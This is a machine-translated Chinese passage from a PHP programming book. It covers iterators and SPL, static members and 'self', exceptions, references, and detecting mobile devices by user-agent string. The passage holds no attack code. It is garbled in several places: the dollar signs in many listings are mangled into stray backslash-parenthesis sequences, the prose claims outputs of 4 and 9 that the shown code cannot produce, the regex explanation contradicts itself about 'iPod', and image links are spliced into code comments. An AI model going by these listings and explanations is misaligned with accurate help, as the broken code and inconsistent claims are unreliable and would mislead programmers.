function next() { $this->index++; $this->line = rtrim(fgets($this->fp), "\n"); if (!feof($this->fp)) { return ($this->line); } else { return (NULL); } } function valid() { return (feof($this->fp) ? FALSE : TRUE); } } $x = new file_iter("qbf.txt"); foreach ($x as $lineno => $val) { print "$lineno:\t$val\n"; }
“qbf.txt”文件是一个小文本文件,包含著名的 pangram,即包含字母表中所有字母的短语:
quick brown fox jumps over the lazy dog
该脚本将读取该文件并在屏幕上打印出来,每行前面都有行号。它使用常规的文件操作,如fopen
、fgets
、rewind
。那个。rewind
函数不仅仅是迭代器接口中的方法名;它也是文件操作的核心功能。它修改文件句柄以指向文件的开头。
行号从 0 开始,以使文件尽可能类似于数组。到目前为止,我们已经看到文件和数组变成了迭代器。任何具有“下一个”和“我说完了吗?”的实体类型方法可以用一个迭代器结构来表示并循环。一个这样的例子是. database 游标。它有一个名为“fetch”的“get next”方法,并且它还能够通过使用句柄状态来判断最后一条记录何时被检索到。数据库光标的迭代器类的实现与清单 1-11 中文件的实现非常相似。这个file_iter
类只是一个例子。PHP5 包含一组名为标准 PHP 库的内部类,类似于 C++ fame 的 STL。属于 SPL 的一个更加复杂的类是SplFileObject
,是的,它实现了迭代器类。我们的整个脚本可以更简单地写成这样:
<?php $x = new SplFileObject("qbf.txt","r"); foreach ($x as $lineno => $val) { if (!empty($val)) {print "$lineno:\t$val"; } } ?>
请注意,新的行字符不再从行中删除,我们必须测试这些行是否为空。如果我们忽略了对空行的测试,SplFileObject
类将会越过文件的结尾。然而,它仍然是一个让生活变得更容易的课程。唯一真正有用的函数是SplFileClass
中缺少的fputcsv
,它以 CSV 格式输出数组。然而,它很容易写。
SPL 中还有其他有用的类和接口。SPL 的完整描述超出了本书的范围,但是感兴趣的读者可以在这里找到文档:
www.php.net/manual/en/book.spl.php
还有一组标准的类,为数据库游标和查询实现迭代器。:这组类称为 ADOdb,它使程序员能够使用foreach
循环遍历查询结果,就像遍历文件或数组一样。ADOdb 类集将在本书后面更详细地介绍。
抽象类和接口的区别是什么?两者都被用作从它们继承或实现它们的其他类的模板,但是抽象类更严格,并且在更严格的意义上定义结构。除了抽象方法之外,抽象类还可以有真实的成员和方法——甚至是最终方法,它们不能重载,只能按原样使用。
类范围和静态成员
到目前为止,我们只处理了在对象范围内定义的成员和方法;每个对象都有自己独立的成员和方法。还有存在于类范围内的成员和方法,这意味着它们是类的所有对象所共有的。我们试图解决的问题如下:我们如何计算在脚本中创建的特定类的对象?我们显然需要一个特定于类的计数器,而不是特定于对象的。在类范围而不是每个对象的范围内声明的变量和方法称为静态变量。图 1-12 是一个例子。
清单 1-12。静态变量的例子
<?php class test4 { private static $objcnt; function __construct() { ++self::$objcnt; } function get_objcnt() { return (test4::$objcnt); } function bad() { return($this->objcnt); } } $x = new test4(); printf("X: %d object was created\n", $x->get_objcnt()); $y = new test4(); printf("Y: %d objects were created\n", $y->get_objcnt()); print "Let's revisit the variable x:\n"; printf("X: %d objects were created\n", $x->get_objcnt()); print "When called as object property, PHP will invent a new member of X...\n"; printf("and initialize it to:%d\n", $x->bad()); ?>
执行该脚本时,输出如下所示:
X: 1 object was created Y: 2 objects were created Let's revisit the variable x: X: 2 objects were created When called as object property, PHP will invent a new member of X... and initialize it to:0
变量test4:$objcnt
是存在于类范围内的静态变量。当它增加到 2 时,在创建$y
的过程中,这个变化在$x
中也是可见的。另一方面,如果试图将它作为一个对象属性来访问,如在函数bad
中,PHP 将发明一个新的公共对象属性,并将其命名为objcnt
。生活变得更加令人困惑。一个对象在类范围内被声明为静态的事实与其可见性没有任何关系。可以有公共、私有和受保护的静态对象,其限制与普通方法和成员相同。另外,请注意,同一个变量在构造函数中被称为self::$objcnt
,而它被称为test4::$objcnt
。关键字self
是“this class”的缩写,但它总是指定义它的类。换句话说,self
没有用继承来传播,它保持不变。清单 1-13 是一个小例子。
清单 1-13。关键字self
总是指定义它的类
`<?php
class A {
protected static \(prop = 2;
function __construct() {
self::\)prop= 2;
}
function get_prop() {
return (self::$prop);
}
}
class B extends A {
protected static \(prop = 3;
function __construct() {
self::\)prop= 3;
}
# function get_prop() {
# return(self::$prop);
# }
}
\(x = new A();
\)y = new B();
printf("A:%d\n", $x->get_prop());
printf("B:%d\n", $y->get_prop());
?>`
如果class B
中的get_prop
函数的代码被注释掉,两行都将打印出数字 4,因为这两个函数都将在class A
的上下文中被调用。如果 be 类中的get_prop
函数未被注释,则显示printf("B:%d\n"
、$y->get_prop())
的行;将打印 9 号。我个人的偏好是总是用正确的类名调用类变量。它减少了混乱,使代码更容易阅读。
除了静态成员,还有静态方法。它们在类上下文中也被称为:class::static_method(...)
。需要注意的是,没有任何类型的序列化;这是用户的唯一责任。
总结
在这一章中,你学到了很多关于 PHP 类和对象的知识。您现在应该熟悉类、方法和成员的概念,以及构造函数、析构函数、继承、重载、接口、抽象类、静态方法和迭代器。这一章绝不是 PHP5 对象特性的完整参考,但它涵盖了要点,应该给你一个坚实的基础。位于[www.php.net](http://www.php.net)
的官方文档是一个很好的资源,涵盖了本章省略的所有内容。
二、异常和引用
在这一章中,我们将探索异常和引用,这是现代面向对象编程(OOP)的两个基本方面。同步事件除外。“同步”这个词意味着它们是对代码本身事件的反应,而不是对外部事件(如信号)的反应。例如,当操作员按下键盘上的 Ctrl-C 时,一个信号被发送到正在执行的程序。异常用于以有序、符合标准的方式处理错误。当程序(或者在 PHP 中是脚本)试图执行除以零时,会引发一个异常。异常可以被引发(或抛出)和捕获。引发异常实际上意味着将程序控制权交给程序中用来处理这些事件的部分。像 PHP 这样的现代编程语言有办法以逻辑和有序的方式做到这一点。
异常情况
异常是类Exception
或任何扩展类Exception
的类的对象。你会记得在前一章中,继承经常被描述为类之间的“是”层次关系。摘自文档的Exception
类的定义如下:
Exception { /* Properties */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* Methods */ public __construct ([ string $message = "" [, int $code = 0 [, Exception $previous = NULL ]]] ) final public string getMessage ( void ) final public Exception getPrevious ( void ) final public int getCode ( void ) final public string getFile ( void ) final public int getLine ( void ) final public array getTrace ( void ) final public string getTraceAsString ( void ) public string __toString ( void ) final private void __clone ( void ) }
因此,异常是在错误事件发生时至少包含以下信息的对象:错误消息、错误代码、抛出异常的文件以及抛出异常的行。不足为奇的是,异常对于调试程序和确保程序正确运行非常有用。或者,你可以把异常想象成一些小球,当一些“不好的”事情发生时,它们被抛出正在运行的程序,并且可以被捕获来分析发生了什么。清单 2-1 显示了一个例子。
清单 2-1。异常例子
`<?php
class NonNumericException extends Exception {
private $value;
private \(msg = "Error: the value %s is not numeric!\n";
function __construct(\)value) {
$this->value = \(value;
}
public function info() {
printf(\)this->msg, \(this->value);
}
}
try {
\)a = "my string";
if (!is_numeric(\(argv[1])) {
throw new NonNumericException(\)argv[1]);
}
if (!is_numeric(\(argv[2])) {
throw new NonNumericException(\)argv[2]);
}
if ($argv[2] == 0) {
throw new Exception("Illegal division by zero.\n");
}
printf("Result: %f\n", $argv[1] / $argv[2]);
}
catch(NonNumericException \(exc) {
\)exc->info();
exit(-1);
}
catch(Exception \(exc) {
print "Exception:\n";
\)code = \(exc->getCode();
if (!empty(\)code)) {
printf("Erorr code:%d\n", $code);
}
print \(exc->getMessage() . "\n";
exit(-1);
}
print "Variable a=\)a\n";
?>`
当使用不同的命令行参数执行时,该脚本会产生以下输出:
`./script3.1.php 4 2
Result: 2.000000
Variable a=my string
./script3.1.php 4 A
Error: the value A is not numeric!
./script3.1.php 4 0
Exception:
Illegal division by zero.`
这个小脚本充满了关于异常的注意事项。$argv
数组是一个预定义的全局数组,包含命令行参数。还有一个预定义的全局变量$argc
,包含命令行参数的数量,就像 C 语言中一样。现在,让我们把注意力放在异常和它们的语法上。首先,我们定义了一个Exception
类,它本质上忽略了Exception
类的现有结构,甚至没有在扩展类的构造函数中调用parent::__construct
方法。这被认为不是一个好的编程实践,这里只是作为一个例子。其结果是我们的异常没有熟悉的getMessage
和getCode
函数,这将使它们更难使用和调用。
异常的通常语义不适用于我们的类,例如,如果有人决定使用getMessage()
方法,这可能会导致问题。接下来,我们创建了一个try
块,其中可能会出现异常。我们正在测试紧随try
块之后的catch
块中的异常,也称为异常处理程序。try
块不是普通的作用域块;在try
块内定义的变量将保持在块外定义。特别是,当 4 除以 2 时,变量$a
在第一次执行中的除法完成后被打印。
其次,观察throw
语句的语法:抛出的是一个异常对象。catch
块中的异常处理程序非常类似于接受一个参数的函数,一个异常对象。异常处理程序的顺序也很重要:PHP 会将手头的异常传递给第一个能够处理所抛出类型的异常的异常处理程序。异常类型Exception
的处理程序必须总是排在最后,因为它是一个“通吃”程序,可以捕捉任何类型的异常。
当抛出异常时,PHP 会寻找第一个适用的处理程序并使用它。如果默认异常类的处理程序放在NonNumericException
类的处理程序之前,后者将永远不会被执行。
异常处理程序块,或catch
块,看起来像函数。这不是巧合。PHP 还有一个叫做set_exception_handler
的“神奇”方法,在这个方法中可以设置一个“捕获所有”异常处理程序来捕获所有未被捕获的异常。让我们重写清单 2-1 中的脚本(参见清单 2-2 )。
清单 2-2。改写的脚本来自清单 2-1
<?php function dflt_handler(Exception $exc) { print "Exception:\n"; $code = $exc->getCode();
` if (!empty($code)) {
printf("Erorr code:%d\n", $code);
}
print $exc->getMessage() . "\n";
exit(-1);
}
set_exception_handler('dflt_handler');
class NonNumericException extends Exception {
private $value;
private \(msg = "Error: the value %s is not numeric!\n";
function __construct(\)value) {
$this->value = \(value;
}
public function info() {
printf(\)this->msg, \(this->value);
}
}
try {
if (!is_numeric(\)argv[1])) {
throw new NonNumericException(\(argv[1]);
}
if (!is_numeric(\)argv[2])) {
throw new NonNumericException(\(argv[2]);
}
if (\)argv[2] == 0) {
throw new Exception("Illegal division by zero.\n");
}
printf("Result: %f\n", $argv[1] / $argv[2]);
}
catch(NonNumericException \(exc) {
\)exc->info();
exit(-1);
}
?>`
这个脚本的结果将与来自清单 2-1 的原始脚本的结果相同。在set_exception_handler
函数中声明的异常处理程序是一个接受类Exception
的一个参数的函数,在所有声明的异常处理程序之后执行:
./script3.1b.php 4 A Error: the value A is not numeric!
这显然是来自我们的NonNumericException
处理程序,而不是来自默认处理程序。如果在执行 script3.1b.php 时用 0 代替字母“A ”,我们会得到原来的结果:
./script3.1b.php 4 0 Exception: Illegal division by zero.
这是默认的异常处理程序。默认异常处理程序什么时候有用?它们在处理其他人写的类时特别有用,比如上一章的SplFileObject
类。如果出错,SplFileClass
的对象将抛出Exception
类的异常,就像 ADOdb 一样。
注意:当出现错误时,PEAR 库中的类将抛出
PEAR_Exception
类的对象。PEAR_Exception
拥有普通Exception
类的所有元素,变量$trace
被添加到 lot 中。PEAR_Exception
也会尝试显示堆栈跟踪,当它被抛出和捕获时。
清单 2-3 是一个试图使用SplFileObject
类打开一个不存在的文件的脚本的例子。还有一个默认的异常处理程序,它将捕捉由SplFileObject
抛出的异常,尽管在代码中没有显式的try { ..} catch {...}
块。
清单 2-3。一个脚本试图使用SplFileObject
类打开一个不存在的文件的例子
<?php function dflt_handler(Exception $exc) { print "Exception:\n"; $code = $exc->getCode(); if (!empty($code)) { printf("Erorr code:%d\n", $code); } print $exc->getMessage() . "\n"; print "File:" . $exc->getFile() . "\n"; print "Line:" . $exc->getLine() . "\n"; exit(-1); } set_exception_handler('dflt_handler'); $file = new SplFileObject("non_existing_file.txt", "r"); ?>
执行该脚本时,结果如下所示:
Exception: SplFileObject::__construct(non_existing_file.txt): failed to open stream: No such file or directory File:/home/mgogala/work/book/Chapter3/script3.2.php Line:15
当处理别人写的类时,默认的catch all
处理程序可能是一个非常有用的工具,尽管它是不加选择的。默认的catch all
处理程序将处理所有未被捕获的异常,它通常用于终止程序并允许简单的调试。当然,程序员可能希望安排对某些情况的特殊处理,并做类似这样的事情:
try { $file = new SplFileObject("non_existing_file.txt", "r"); } catch (Exception $e) { $file=STDIN; }
如果打开文件进行读取有问题,则返回标准输入。当然,这不再是类SplFileObject
的对象,所以程序员必须考虑可能的结果。由于默认的catch all
处理程序是最后执行的,对于没有被其他任何处理程序捕捉到的异常,谨慎处理并编写我们自己的异常处理程序没有任何障碍。
还有一点要提:异常的嵌套。PHP 不支持它,除非try
块也是嵌套的。换句话说,在这种情况下,如果从ExcA
的处理程序中调用异常,那么ExcB
的处理程序将不会被调用:
class ExcA extends Exception {...} class ExcB extends Exception {...} try {... throw new ExcA(..) } catch(ExcA $e) { throw new ExcB(); } catch(ExcB $e) { // Will not be called, if thrown from the ExcA }
嵌套异常的唯一方法是嵌套try
块。关于异常嵌套,PHP5 与 Java 或 C++相同。
引用
PHP 中另一种重要的对象称为引用。PHP 引用不是指针。与 Perl 不同,PHP 没有可用于通过解引用来寻址对象的“引用”类型。在 PHP 中,“引用”一词只是对象的另一个名称。考虑清单 2-4 中的脚本。
清单 2-4。引用是 PHP 中的对象
<?php class test5 { private $prop; function __construct($prop) { $this->prop = $prop; } function get_prop() { return ($this->prop); } function set_prop($prop) { $this->prop = $prop; } } function funct(test5 $x) { $x->set_prop(5); }
`$x = new test5(10);
printf("Element X has property %s\n", \(x->get_prop());
funct(\)x);
printf("Element X has property %s\n", $x->get_prop());
\(arr = range(1, 5);
foreach (\)arr as \(a) {
\)a*= 2;
}
foreach ($arr as \(a) {
print "\)a\n";
}
?>`
执行该脚本时,会产生以下输出:
Element X has property 10 Element X has property 5 1 2 3 4 5
对于一个对象变量$x
,其值通过在方法funct
中操作而改变,对于数组变量$arr
,其值不会通过在foreach
循环中操作元素而改变。这个令人困惑的谜题的答案在于 PHP 通过复制传递参数。这意味着,对于数字、字符串或数组之类的非对象类型,将创建另一个完全相同的对象实例,而对于对象类型,将创建一个引用或对象的另一个名称。当类test5
的参数$x
被传递给方法funct
时,相同对象的另一个名称被创建。通过操纵新变量,我们操纵了原始对象的内容,因为新变量只是现有对象的另一个名称。详情请参阅第一章。虽然 PHP 不像 Perl,不允许直接访问引用,但它仍然允许在一定程度上控制如何复制对象。让我们通过引用来介绍复制(见清单 2-5 )。
清单 2-5。参照复制
<?php print "Normal assignment.\n"; $x = 1; $y = 2; $x = $y; $y++; print "x=$x\n"; print "Assignment by reference.\n"; $x = 1; $y = 2; $x = & $y; $y++; print "x=$x\n"; ?>
执行该脚本时,结果如下所示:
Normal assignment. x=2 Assignment by reference. x=3
这个脚本由两部分组成:普通赋值和引用赋值。在第一部分中,进行常规赋值,创建变量$y
的新副本并将其赋值给$x
,丢弃之前的内容。增加$y
对变量$x
完全没有影响。第二部分,通过引用做赋值,变量$x
之前的内容也被扔掉了,但是变量被做成了变量$y
的别名(又名“引用”)。将变量$y
增加 1 在变量$x
中也是可见的,变量$x
显示的是3
而不是2
,赋值后是$x
的值。
同样的操作也可以应用于循环。在清单 2-4 中,我们有以下代码片段:
$arr = range(1, 5); foreach ($arr as $a) { $a*= 2; } foreach ($arr as $a) { print "$a\n";
结果是从 1 到 5 没有变化的数字。现在让我们使用引用操作符&
重写这段代码:
$arr = range(1,5); foreach ($arr as &$a) { $a *= 2; } print_r($arr);
结果是一个改变的数组:
Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 [4] => 10 )
换句话说,通过将&
加到$a
,我们没有创建数组元素的副本,就像在表达式foreach($arr as $a)
中所做的那样。相反,我们创建了对数组成员的引用,这意味着我们在循环中对$a
所做的任何事情都将修改实际的数组成员,而不是副本。不可能引用一个函数。
注意使用
foreach
循环的驱动数组时要小心。如果代码更改了驱动数组,可能会导致不可预测和意外的结果。
然而,从函数返回引用并通过引用传递参数是可能的。当希望函数能够修改原始变量时,通过引用传递参数。语法与循环相同:通过引用传递的变量只是简单地以&字符(&
)为前缀。:清单 2-6 是一个小例子。
清单 2-6。可以从函数中返回引用,并通过引用传递参数
`<?php
\(a = 5;
function f1(\)x) {
\(x+= 3;
print "x=\)x\n";
}
function f2(&\(x) {
\)x+= 3;
print "x=$x\n";
}
f1(\(a);
print "a=\)a\n";
f2(\(a);
print "a=\)a\n";
?>`
当执行这个小片段时,结果如下所示:
x=8 a=5 x=8 a=8
当调用函数f1
时,参数通过值传递。函数中的print
语句打印了值8
,但是原始变量没有被修改;它保留了值5
。当函数f2
被调用时,原始变量被修改,从变量a
的最后一次打印输出可以看出。
引用也可以从函数中返回。这不应该是为了提高性能,因为 PHP 会自动这么做。重申一下:引用只是现有变量的另一个名字。引用可以用来绕过关键字private
或protected
提供的可见性保护。清单 2-7 就是一个例子。
清单 2-7。引用可用于规避能见度保护
<?php class test6 { private $x; function __construct($x = 10) { $this->x = $x; }
function &get_x() { // Observe the "&" in the function![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) declaration return $this->x; } function set_x($x) { $this->x = $x; } } $a = new test6(); $b = &$a->get_x(); // $b is a reference to $x->a. It![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) circumvents protection // provided by the "private"![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) qualifier. print "b=$b\n"; $a->set_x(15); print "b=$b\n"; // $b will change its value, after![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) calling "set_x" $b++; print '$a->get_x()='.$a->get_x() . "\n"; // $a->x will change![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) its value after $b being ![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) // incremented ?>
执行时,输出如下所示:
b=10 b=15 $a->get_x()=16
这里,变量$b
变成了对$a->x
的引用, 是类test6
的私有成员。这是通过将函数get_x()
声明为返回引用来实现的。当然,对私有变量的公共引用破坏了可见性控件的目的。。通过引用返回值通常是一件非常奇特的事情。应该仔细考虑,因为很容易通过从函数返回引用来允许非预期的访问。
总结
在这一章中,你学习了 PHP 中的异常和引用。在其他现代编程语言中也可以找到这两种语言。异常的目的是为错误处理提供一个简单明了的机制;引用的目的主要是为了提高代码执行速度,偶尔也是为了让一些编程技巧成为可能。这两种语言元素都非常有用,可以为程序员提供许多好处。异常处理程序使错误检查变得更加优雅,这将在关于数据库集成的章节中展示。
三、PHP 移动开发
移动开发每年都受到越来越多的关注。iPhone、Android 和黑莓不仅是强大的智能手机设备,也是争夺利润丰厚的市场份额的有价值品牌。每个智能手机制造商都希望为自己的产品开发应用,以期吸引用户。除了智能手机,我们还有平板电脑,如 iPad、PlayBook 和 Galaxy,以及阅读设备,如 Kindle 和 Nook。即使是标准手机也改进了浏览器支持和功能。
每一个接入互联网的移动设备都可以浏览由 PHP 在服务器端提供的在线内容或应用。出于这个原因,我们需要一种方法在更小的屏幕上有意义地呈现我们的内容。在本章中,我们将介绍通过 HTTP 请求用户代理字符串、WURFL 和 Tera-WURFL 进行的设备检测,所有这些将在本章的后面定义。
目前存在数以千计的移动设备,每个都具有不同的能力。如果您认为为旧浏览器开发 web 应用很脆弱,那么移动设备就不那么标准了。幸运的是,在我们的探索中,有一些系统可以帮助我们。为了在移动设备上渲染,我们将展示如何用 WALL 抽象标记,自动调整图像大小,并使 CSS 更加流畅。
我们还将介绍设备模拟器,在 Android 驱动的设备上开发 PHP,以及用于 PHP 的 Flash Builder。最后,我们将介绍快速响应(QR)码以及如何生成它们。
移动差异
在处理移动开发时,最大的挑战之一是让网站在呈现时可读。对于桌面 web 开发,我们检查主要的浏览器,如 Chrome、Firefox、Safari、Opera 和 Internet Explorer,还可能检查不同的操作系统(OS),如 WinXP、Windows 7、Linux 和 Mac OS X。迎合浏览器、浏览器版本和 OS 的不同可能组合可能是一件相当麻烦的事情。
对于移动设备,渲染功能就不那么标准了。这使得移动渲染变得更加复杂。例如,几乎所有现代台式计算机都支持数千种颜色和至少 800×600 像素的屏幕分辨率。然而,手机、智能手机、平板电脑、电子阅读器和其他移动设备可能只支持灰度或有限的调色板。物理尺寸也有很大差异。这只是三种能力。设备可能有数百种不同的功能。我们将在本章的后面讨论其中的一些功能。
与桌面 web 开发不同,天真地尝试为每个可能的移动变体手工编程是不可能的,或者至少会花费太多的时间和精力,超出任何人愿意花费的时间和精力。相反,我们将讨论系统来确定正在使用的设备,然后动态呈现内容并流畅地调整 CSS。
检测设备
定制内容的第一步是知道我们在什么设备上渲染。我们将研究几种技术来确定活动设备。
用户代理
任何设备检测系统的核心都是在标准HTTP
请求中发送的用户代理头字符串。使用 PHP,我们可以访问$_SERVER['HTTP_USER_AGENT']
超级全局服务器变量中的用户代理字符串。用户代理头可以包含关于浏览器、渲染引擎和操作系统的信息。用户代理字符串将类似于下面的字符串,它适用于 Firefox 4:
Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0
从这个字符串可以看出,客户端的操作系统是 Windows,渲染引擎是 Gecko,浏览器版本是 Firefox 4.0。
注意的探测装置并非万无一失。尽管用户代理字符串很少出现,但对于两个不同的设备来说,它们可能不是唯一的。同样,正如安全性一章中所讨论的,报头也可能是伪造的。
内置 PHP 支持
PHP 有get_browser
函数,它试图获得关于所用浏览器的信息。它通过引用文件browscap.ini
中的信息来做到这一点。在这方面,它就像是 WURFL 系统的一个更简单、更有限的版本,我们将在后面介绍。
注意该功能依赖于在您的系统上安装
browscap.ini
文件,并设置该文件在您的php.ini
文件中的位置,例如:
browscap = "C:\your\path\to\browscap.ini"
关于get_browser
的更多信息可在 http://php.net/manual/en/function.get-browser.php 的获得,更新的browscap.ini
文件可在 http://browsers.garykeith.com/downloads.asp的获得
如果我们将第一个参数设置为null
或者传入实际的用户代理,那么我们将获得关于当前正在使用的客户端的信息。我们还可以传入一个不同的用户代理字符串来了解它的信息。第二个参数是可选的。通过将参数设置为true
,我们请求将信息作为数组而不是默认对象返回。参见列表 3-1 和列表 3-2 。
清单 3-1。使用 PHP 的 get_browser 函数
`<?php
echo $_SERVER ['HTTP_USER_AGENT'] . "\n\n";
var_dump ( get_browser ( null, true ) );
//equivalently, we could have passed in the user agent string into the first parameter
//var_dump ( get_browser ( $_SERVER ['HTTP_USER_AGENT'], true ) );
?>`
清单 3-2。Chrome 浏览器中的输出
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24 array 'browser_name_regex' => string '§^.*$§' *(length=6)* 'browser_name_pattern' => string '*' *(length=1)* 'browser' => string 'Default Browser' *(length=15)* 'version' => string '0' *(length=1)* 'majorver' => string '0' *(length=1)* 'minorver' => string '0' *(length=1)* 'platform' => string 'unknown' *(length=7)* 'alpha' => string '' *(length=0)* 'beta' => string '' *(length=0)* 'win16' => string '' *(length=0)* 'win32' => string '' *(length=0)* 'win64' => string '' *(length=0)* 'frames' => string '1' *(length=1)* 'iframes' => string '' *(length=0)* 'tables' => string '1' *(length=1)* 'cookies' => string '' *(length=0)* 'backgroundsounds' => string '' *(length=0)* 'cdf' => string '' *(length=0)* 'vbscript' => string '' *(length=0)* 'javaapplets' => string '' *(length=0)* 'javascript' => string '' *(length=0)* 'activexcontrols' => string '' *(length=0)* 'isbanned' => string '' *(length=0)* 'ismobiledevice' => string '' *(length=0)* 'issyndicationreader' => string '' *(length=0)* 'crawler' => string '' *(length=0)* 'cssversion' => string '0' *(length=1)* 'supportscss' => string '' *(length=0)* 'aol' => string '' *(length=0)* 'aolversion' => string '0' *(length=1)*
正如您所看到的,对于这个新的浏览器,get_browser
函数获得的信息没有返回任何内容。这是因为我的 WAMP (Windows、Apache、MySQL、PHP)包中包含的browscap.ini
文件已经超过一年了。解决方案是下载一个最新版本。如果文件被缓存,我们可能还需要重启 Apache 服务器。更新后,我们得到了一些更有用的信息,如清单 3-3 所示。
清单 3-3。在 Chrome 浏览器中输出更新后的browscap.ini
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24 array 'browser_name_regex' => string '§^mozilla/5\.0 \(.*windows nt 6\.1.*wow64.*\) applewebkit/.* \(khtml, like gecko\).*chrome/11\..*safari/.*$§' (length=108) 'browser_name_pattern' => string 'Mozilla/5.0 (*Windows NT 6.1*WOW64*) AppleWebKit/* (KHTML, like Gecko)*Chrome/11.*Safari/*' (length=90) 'parent' => string 'Chrome 11.0' (length=11) 'platform' => string 'Win7' (length=4) 'win32' => string '' (length=0) 'win64' => string '1' (length=1) 'browser' => string 'Chrome' (length=6) 'version' => string '11.0' (length=4) 'majorver' => string '11' (length=2) 'frames' => string '1' (length=1) 'iframes' => string '1' (length=1) 'tables' => string '1' (length=1) 'cookies' => string '1' (length=1) 'javascript' => string '1' (length=1) 'javaapplets' => string '1' (length=1) 'cssversion' => string '1' (length=1) 'minorver' => string '0' (length=1) 'alpha' => string '' (length=0) 'beta' => string '' (length=0) 'win16' => string '' (length=0) 'backgroundsounds' => string '' (length=0) 'vbscript' => string '' (length=0) 'activexcontrols' => string '' (length=0) 'isbanned' => string '' (length=0) 'ismobiledevice' => string '' (length=0) 'issyndicationreader' => string '' (length=0) 'crawler' => string '' (length=0) 'aolversion' => string '0' (length=1)Using Regex
如果您只关心检测几个主要的移动设备,那么您可以使用正则表达式来搜索用户代理字符串。在清单 3-4 中,我们检查用户代理字符串中的几部电话。如果找到匹配,那么我们重定向到一个单独的移动页面,并加载一个备用模板和样式表。正则表达式(regex)中的/i
选项使我们的搜索不区分大小写。|
表示“或”,因此“iPhone”和“iPod”都匹配,但“iPod”不匹配。类似地,“windows ce”和“windows phone”会匹配,但“windows xp”不会匹配有关正则表达式的更多信息,请参考索引。
清单 3-4。使用正则表达式检查特定的移动设备
<?php if (preg_match ( '/i(Phone|Pad)|Android|Blackberry|Symbian|windows (ce|phone)/i', $_SERVER ['HTTP_USER_AGENT'] )) { //redirect, load different templates, stylesheets header ( "Location: mobile/index.php" ); } ?>
为了检测更广泛的移动设备,我们需要更多的正则表达式。网站[
detectmobilebrowser.com/](http://detectmobilebrowser.com/)
越来越受欢迎,因为它可以为几种不同的脚本语言或框架生成我们需要的长正则表达式(15 个,还在增加)。如果我们需要,它还会将客户端重定向到特定的移动页面。清单 3-5 显示了站点生成的示例正则表达式。
清单 3-5。由detectmobilebrowser.com
生成的正则表达式
`<?php
$useragent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|symbian|treo|up.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',\(useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i', substr(\)useragent,0,4)))
header('Location: http://detectmobilebrowser.com/mobile');
?>`
这种类型的解决方案在某些情况下会起作用。然而,为了获得更准确的结果和识别设备功能,我们需要一个更精细的系统。这个系统就是 WURFL,我们将在接下来讨论它。
检测移动能力
要超越简单的设备检测并了解设备能够做什么,需要使用更复杂的 WURFL 系统。
WURFL
